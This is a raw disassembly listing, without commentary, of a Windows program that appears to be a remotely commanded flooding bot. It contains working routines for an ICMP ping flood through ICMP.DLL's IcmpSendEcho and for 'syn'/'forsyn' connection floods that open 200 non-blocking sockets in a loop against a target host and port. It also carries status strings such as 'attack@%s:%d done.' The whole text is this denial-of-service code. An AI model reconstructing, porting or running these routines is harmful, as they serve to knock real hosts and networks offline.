mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 5
jz short loc_425DAB
mov ecx, eax
call sub_401BC7
mov ebp, eax
jmp short loc_425DAD
; ---------------------------------------------------------------------------
loc_425DAB: ; CODE XREF: ___:00425D9Ej
xor ebp, ebp
loc_425DAD: ; CODE XREF: ___:00425DA9j
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 1
push ecx
mov byte ptr [ebx+11Ch], 1
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 6
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 2
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 7
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 3
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 8
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 4
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 9
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013D4
mov ebp, [esp+54h]
loc_425EDA: ; CODE XREF: ___:00425D7Dj
lea ecx, [ebx+4]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_426049
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Ah
jz short loc_425F1A
mov ecx, eax
call sub_40130C
mov ebp, eax
jmp short loc_425F1C
; ---------------------------------------------------------------------------
loc_425F1A: ; CODE XREF: ___:00425F0Dj
xor ebp, ebp
loc_425F1C: ; CODE XREF: ___:00425F18j
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push edx
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 0Bh
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 2
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Ch
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 3
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Dh
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 4
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Eh
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea eax, [esi+69h]
lea ecx, [ebp+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [ebp+8Fh], cl
mov dl, [esi+94h]
mov ecx, ebp
mov [ebp+90h], dl
call sub_4013D4
mov ebp, [esp+54h]
loc_426049: ; CODE XREF: ___:00425EECj
lea ecx, [ebx+32h]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4261F4
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Fh
jz short loc_426089
mov ecx, eax
call sub_401785
mov ebp, eax
jmp short loc_42608B
; ---------------------------------------------------------------------------
loc_426089: ; CODE XREF: ___:0042607Cj
xor ebp, ebp
loc_42608B: ; CODE XREF: ___:00426087j
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 10h
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 11h
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 12h
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 13h
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+30h]
push 5
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 14h
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+2Ch]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013D4
mov ebp, [esp+54h]
loc_4261F4: ; CODE XREF: ___:0042605Bj
lea ecx, [ebx+0EAh]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_426211
mov [ebx+11Ch], al
loc_426211: ; CODE XREF: ___:00426209j
mov ecx, [esp+44h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 4
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 1A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4263D0 proc near ; CODE XREF: sub_401A64j
var_4 = dword ptr -4
push ecx
mov edx, dword_447A34
push esi
mov esi, ecx
mov eax, [esi+91h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_4263F1
inc ecx
mov [eax+118h], ecx
loc_4263F1: ; CODE XREF: sub_4263D0+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+91h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E6ECB
call sub_40120D
sub_4263D0 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426450 proc near ; CODE XREF: sub_40130Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426450
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aPing ; "ping"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E0DC
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426450 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4264C0 proc near ; CODE XREF: sub_401F7Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4264C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+79h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0EC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4264C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426560 proc near ; CODE XREF: sub_4014C4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426560
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E0EC
lea ecx, [esi+79h]
mov [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426560 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426620: ; CODE XREF: ___:loc_4016D1j
; ___:0040217Bj
push esi
mov esi, ecx
call sub_4014C4
test byte ptr [esp+8], 1
jz short loc_426638
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426638: ; CODE XREF: ___:0042662Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402090
test [esp+4+arg_0], 1
jz short loc_426668
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426668: ; CODE XREF: sub_426650+Dj
mov eax, esi
pop esi
retn 4
sub_426650 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426680 proc near ; CODE XREF: sub_402090j
jmp sub_4014C4
sub_426680 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4266A0 proc near ; CODE XREF: sub_401A41j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4266A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_401424
mov edx, [esi+54h]
mov eax, [esi+60h]
mov ecx, [esi+5Ch]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014D3
push eax
call sub_40182F
add esp, 10h
test eax, eax
jz short loc_426764
mov edx, [esi+5Ch]
mov ecx, edi
push edx
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+40h+var_24]
push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times"
push eax
call sub_40102D
add esp, 14h
jmp short loc_42677E
; ---------------------------------------------------------------------------
loc_426764: ; CODE XREF: sub_4266A0+9Aj
mov ecx, ebx
call sub_4017E4
push eax
lea ecx, [esp+38h+var_24]
push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
push ecx
call sub_40102D
add esp, 0Ch
loc_42677E: ; CODE XREF: sub_4266A0+C2j
lea ecx, [esp+34h+var_24]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov dl, [esi+90h]
push eax
mov al, [esi+8Fh]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_4266A0 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426820 proc near ; CODE XREF: sub_401E7Ej
var_1A = byte ptr -1Ah
var_18 = byte ptr -18h
arg_0 = byte ptr 4
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFFCh
call sub_436840
push esi
push edi
push offset aIcmp_dll ; "ICMP.DLL"
nop
call near ptr 27C07EDh
mov esi, eax
test esi, esi
jz short loc_42688A
mov edi, dword_50F8A0
push offset aIcmpcreatefile ; "IcmpCreateFile"
push esi
call edi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push esi
mov dword_50E140, eax
call edi
push offset aIcmpsendecho ; "IcmpSendEcho"
push esi
mov dword_50E144, eax
call edi
mov ecx, dword_50E140
mov dword_50E13C, eax
test ecx, ecx
jz short loc_42688A
mov edx, dword_50E144
test edx, edx
jz short loc_42688A
test eax, eax
jz short loc_42688A
mov al, [esp+0Bh]
test al, al
jz short loc_426895
loc_42688A: ; CODE XREF: sub_426820+1Bj
; sub_426820+52j ...
pop edi
xor eax, eax
pop esi
add esp, 0FFFCh
retn
; ---------------------------------------------------------------------------
loc_426895: ; CODE XREF: sub_426820+68j
mov edx, [esp+24h+arg_FFE8]
mov eax, 0FFDCh
cmp edx, eax
jle short loc_4268AC
mov [esp+24h+arg_FFE8], eax
loc_4268AC: ; CODE XREF: sub_426820+83j
push ebx
push ebp
mov ebp, [esp+2Ch+arg_FFEC]
cmp ebp, 1
jge short loc_4268BF
mov ebp, 1
loc_4268BF: ; CODE XREF: sub_426820+98j
call ecx ; IcmpCreateFile
mov ebx, [esp+2Ch+arg_FFE4]
xor esi, esi
test ebx, ebx
mov edi, eax
jle short loc_426904
loc_4268D0: ; CODE XREF: sub_426820+E2j
mov al, byte_4D64E9
test al, al
jz short loc_426904
mov ecx, [esp+2Ch+arg_FFE8]
push ebp
lea eax, [esp+30h+var_18]
push 1Ch
push eax
mov eax, [esp+38h+arg_FFE0]
push 0
lea edx, [esp+3Ch+arg_0]
push ecx
push edx
push eax
push edi
call dword_50E13C ; IcmpSendEcho
inc esi
cmp esi, ebx
jl short loc_4268D0
loc_426904: ; CODE XREF: sub_426820+AEj
; sub_426820+B7j
push edi
call dword_50E144 ; IcmpCloseHandle
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0FFFCh
retn
sub_426820 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426960 proc near ; CODE XREF: sub_40182Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
push eax
call sub_40187F
mov ecx, [esp+4+arg_C]
mov edx, [esp+4+arg_8]
push ecx
mov ecx, [esp+8+arg_4]
push edx
push ecx
push eax
call sub_401E7E
add esp, 14h
retn
sub_426960 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4269A0 proc near ; CODE XREF: sub_401BC7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4269A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aForsyn ; "forsyn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E0FC
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4269A0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426A10: ; CODE XREF: ___:00401A19j
; ___:loc_401AAFj
push esi
mov esi, ecx
call sub_4017FD
test byte ptr [esp+8], 1
jz short loc_426A28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426A28: ; CODE XREF: ___:00426A1Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426A40 proc near ; CODE XREF: sub_4017FDj
jmp sub_4014C4
sub_426A40 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426A60 proc near ; CODE XREF: sub_401366j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426A60
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
mov ebx, ecx
xor eax, eax
mov ecx, offset byte_4E5DBF
mov [esp+2Ch+var_28], eax
loc_426A86: ; CODE XREF: sub_426A60+35j
cmp dword ptr [ecx], 0
jz short loc_426A97
add ecx, 78h
inc eax
cmp ecx, offset byte_4E671F
jl short loc_426A86
loc_426A97: ; CODE XREF: sub_426A60+29j
cmp eax, 13h
mov [esp+2Ch+var_28], eax
jg loc_426C49
lea eax, [eax+eax*2]
push ebp
push esi
push edi
lea eax, [eax+eax*4]
lea ecx, [ebx+3Bh]
lea ebp, ds:4E5D4Bh[eax*8]
call sub_4017E4
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov cx, [ebx+58h]
push ecx
nop
call near ptr 71AB2B66h
and eax, 0FFFFh
mov [ebp+64h], eax
mov eax, [ebx+54h]
cmp eax, 5
mov [ebp+68h], eax
jge short loc_426B00
mov dword ptr [ebp+68h], 5
loc_426B00: ; CODE XREF: sub_426A60+97j
mov edx, [ebx+50h]
mov ecx, 80h
xor eax, eax
mov edi, offset dword_50E14C
mov [ebp+6Ch], edx
lea esi, [ebx+11h]
rep stosd
mov eax, [ebx+50h]
mov ecx, [ebx+58h]
push eax
push ecx
lea ecx, [ebx+3Bh]
lea edi, [ebx+26h]
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
mov ecx, edi
call sub_4014D3
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D60A5
call sub_401848
mov ecx, [esp+50h+var_1C]
add esp, 24h
push offset dword_50E34C
push 0
push ecx
push offset sub_4012C1
push 0
push 0
nop
call near ptr 276085Dh
test eax, eax
mov dword_50E350, eax
jz short loc_426B9B
push offset dword_446F64
push 5
push eax
push 0
push offset dword_50E14C
call sub_4013E8
add esp, 14h
mov [ebp+70h], eax
jmp short loc_426BCB
; ---------------------------------------------------------------------------
loc_426B9B: ; CODE XREF: sub_426A60+11Dj
mov ecx, esi
call sub_4017E4
push eax
push offset aSErrorCreating ; "%s: error creating threads"
mov ecx, edi
call sub_4014D3
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_426BCB: ; CODE XREF: sub_426A60+139j
lea ecx, [esp+38h+var_24]
call sub_401424
mov ecx, [ebx+58h]
mov [esp+38h+var_4], 0
push ecx
lea ecx, [ebx+3Bh]
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
lea edx, [esp+44h+var_24]
push offset aSAttack@SDDone ; "%s: attack@%s:%d done."
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+38h+var_24]
call sub_4017E4
push eax
push offset aS ; "%s"
mov ecx, edi
call sub_4014D3
mov cl, [ebx+8Fh]
push eax
mov al, [ebx+90h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
loc_426C49: ; CODE XREF: sub_426A60+3Ej
mov ecx, [esp+2Ch+var_C]
pop ebx
mov large fs:0, ecx
add esp, 28h
retn
sub_426A60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426CE0 proc near ; CODE XREF: sub_4012C1j
var_338 = dword ptr -338h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = byte ptr -320h
arg_0 = dword ptr 4
sub esp, 338h
mov eax, [esp+338h+arg_0]
push ebp
push esi
mov esi, 1
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ebp, ds:4E5D4Bh[eax*8]
xor eax, eax
mov [esp+340h+var_334], eax
mov word ptr [esp+340h+var_334], 2
mov [ebp+74h], esi
mov cx, [ebp+64h]
mov [esp+340h+var_330], eax
push ecx
mov [esp+344h+var_32C], eax
mov [esp+344h+var_328], eax
call near ptr 71AB2B66h
nop
push ebp
mov [esp+344h+var_324], esi
mov word ptr [esp+344h+var_334+2], ax
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_426D76
push ebp
call near ptr 71AB4FD4h
nop
xor edx, edx
cmp eax, edx
jnz short loc_426D6F
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop esi
pop ebp
lea eax, [ecx+ecx*4]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D6765[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
; ---------------------------------------------------------------------------
loc_426D6F: ; CODE XREF: sub_426CE0+68j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_426D76: ; CODE XREF: sub_426CE0+5Bj
mov [esp+340h+var_330], eax
mov eax, [ebp+6Ch]
push ebx
push edi
test eax, eax
mov [esp+348h+var_338], 0
jle loc_426E26
mov ebx, dword_50FC30
loc_426D95: ; CODE XREF: sub_426CE0+140j
mov al, byte_4D64E9
test al, al
jz loc_426E26
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426DAB: ; CODE XREF: sub_426CE0+EFj
push 0
push 1
push 2
call ebx
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_426DCB
lea ecx, [esp+348h+var_324]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB4519h
loc_426DCB: ; CODE XREF: sub_426CE0+D8j
add esi, 4
dec edi
jnz short loc_426DAB
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426DDA: ; CODE XREF: sub_426CE0+10Ej
mov eax, [esi]
lea edx, [esp+348h+var_334]
push 10h
push edx
push eax
nop
call near ptr 71AB406Ah
add esi, 4
dec edi
jnz short loc_426DDA
mov ecx, [ebp+68h]
push ecx
call near ptr 2820000h
nop
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426E03: ; CODE XREF: sub_426CE0+130j
mov edx, [esi]
push edx
nop
call near ptr 71AB9639h
add esi, 4
dec edi
jnz short loc_426E03
mov eax, [esp+348h+var_338]
mov ecx, [ebp+6Ch]
inc eax
cmp eax, ecx
mov [esp+348h+var_338], eax
jl loc_426D95
loc_426E26: ; CODE XREF: sub_426CE0+A9j
; sub_426CE0+BCj
xor edx, edx
pop edi
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop ebx
pop esi
lea eax, [ecx+ecx*4]
pop ebp
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D6765[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
sub_426CE0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426EB0 proc near ; CODE XREF: sub_401DD9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426EB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aSyn ; "syn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E10C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426EB0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4010FF
test [esp+4+arg_0], 1
jz short loc_426F38
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426F38: ; CODE XREF: sub_426F20+Dj
mov eax, esi
pop esi
retn 4
sub_426F20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426F50 proc near ; CODE XREF: sub_4010FFj
jmp sub_4014C4
sub_426F50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426F70 proc near ; CODE XREF: sub_401E92j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426F70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+50h]
mov edx, [esi+58h]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_401424
mov edx, [esi+54h]
mov eax, [esi+50h]
mov ecx, [esi+58h]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014D3
push eax
call sub_401DB6
sub_426F70 endp
; ---------------------------------------------------------------------------
cdq
and edx, 3FFh
add esp, 10h
add eax, edx
mov ecx, edi
sar eax, 0Ah
cdq
idiv dword ptr [esi+50h]
mov edx, [esi+58h]
push eax
push edx
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+20h]
push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
push eax
call sub_40102D
add esp, 18h
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 14h
mov dword ptr [esp+30h], 0FFFFFFFFh
lea ecx, [esp+10h]
call sub_401226
mov ecx, [esp+28h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
